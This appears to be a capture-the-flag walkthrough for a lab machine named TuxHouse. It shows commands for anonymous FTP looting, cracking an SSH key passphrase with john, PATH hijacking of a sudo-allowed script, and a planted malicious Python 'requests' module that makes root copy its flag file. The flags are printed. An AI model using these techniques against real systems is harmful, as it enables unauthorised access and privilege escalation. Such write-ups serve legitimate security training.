TuxHouse (Machine)

TuxHouse Machine solution.

Enumeration

Pinging the machine doesn't give us anything back, so it seems like ICMP is disabled, so let's add that option in nmap so we can start port scanning:

nmap -sC -sV -Pn 4.172.203.150

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-04 02:30 EST
Nmap scan report for 4.172.203.150
Host is up (0.16s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 10.0.0.4 is not the same as 4.172.203.150
|_ftp-bounce: bounce working!
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:176.29.244.223
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 bd:11:7f:99:ca:12:28:38:1e:73:2e:04:83:09:4b:76 (ECDSA)
|_  256 df:ed:f4:51:70:d8:61:07:8b:31:10:3b:a9:90:05:dc (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We see SSH and FTP open, and according to nmap Anonymous login is allowed on the FTP port, so let's connect to it and see what we can see:

ftp anonymous@4.172.203.150
Connected to 4.172.203.150.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.

Issuing commands on the server is enabling passive mode, so let's turn it off and then see what there is:

ls -la
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    3 0        124          4096 Oct 27 22:36 .
drwxr-xr-x    3 0        124          4096 Oct 27 22:36 ..
drwxr-xr-x    2 0        0            4096 Oct 28 09:51 .bak
-rw-r--r--    1 0        0              28 Oct 27 22:36 test.txt

Let's get everything in here and check them.

We have a test file, a message that's telling one of the users that his connection is set up, and a file called "access" which looks like a SSH private key, but we don't have a username....

We can extract the public key from the private key using this command, BUT first we need to set correct permissions on it:

chmod 600 access
ssh-keygen -f access -y > public.key
Enter passphrase:

And we see a prompt for a passphrase, so let's use "ssh2john".

ssh2john access > access.hash

john --wordlist=/opt/SecLists/Passwords/rockyou.txt access.hash

And we can see after a couple of seconds, the password cracked and is "stonecold".

So let's get back to the private key and login to the server:

cat public.key
ssh-rsa AAAA<SNIP> penguin@tuxHouse

ssh -i access penguin@4.172.203.150
Enter passphrase for key 'access':
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1017-azure x86_64)
<SNIP>
penguin@tuxHouse:~$

We logged in with the username: "penguin"!

Doing sudo -l we see:

<SNIP>
User penguin may run the following commands on tuxHouse:
    (acaard) SETENV: NOPASSWD: /opt/scripts/checker.sh

As "acaard" we can run this bash scripts and are able to set environment variables, let's read the script:

cat /opt/scripts/checker.sh
#!/bin/bash

find / -type f -perm -u=s 2>/dev/null

/usr/bin/echo "All SUIDs displayed!"

We see a simple bash scripts that show SUIDs, and the author is hinting towards path hijacking, since find is not using the full path, but echo is, we can make a custom "find" file that will spawn us a shell and set it in a custom path.

We will write the following in /dev/shm/find:

#!/bin/bash
/bin/bash

Making it executable, then simply using our sudo right, but with setting the path to /dev/shm so it executes our custom find that will spawn us a shell as "acaard":

sudo -u acaard PATH=/dev/shm:$PATH /opt/scripts/checker.sh

id
uid=1002(acaard) gid=1002(acaard) groups=1002(acaard)
whoami
acaard

And now we have user.txt in acaard's home directory:

cat user.txt

tuxCTF{cdaeb8b65830470bde5762aa303fae56}

Privilege Escalation

For further enumeration, we will upload "pspy64" to the host to see what processes are running:

scp -i access pspy64 penguin@4.172.203.150:/dev/shm/pspy64

Making it then executable and running it, after a while we see root is executing the script in acaard's home directory (ApacheTest.py).

2024/11/04 08:03:01 CMD: UID=0     PID=142668 | /usr/bin/python3 /home/acaard/ApacheTest.py

Since the script is in a writable place, we can hijack some libraries if the script is using some, let's check it:

cat ApacheTest.py
#!/bin/python3

import requests

url = "http://127.0.0.1"
try:
    response = requests.head(url)
    if response.status_code == 200:
<SNIP>

We see it's using scripts, when python loads a library it first searches for it in the current running directory, which is in our case here is /home/acaard, since this place is writable, we can make our own library and make root execute it.

We can make a python code to give us a reverse shell, or simple just read the flag and output in another file like so:

cat requests.py
#!/bin/python3

import os
os.system("cat /root/root.txt > /tmp/newroot.txt && chmod 777 /tmp/newroot.txt")

Let's make it executable and wait for the script to run.

cd /tmp
acaard@tuxHouse:/tmp$ ls

newroot.txt
acaard@tuxHouse:/tmp$ cat newroot.txt

tuxCTF{57745e48f0d09bc99a96977e90f30f55}

And done machine! Happy hacking :) 🧛.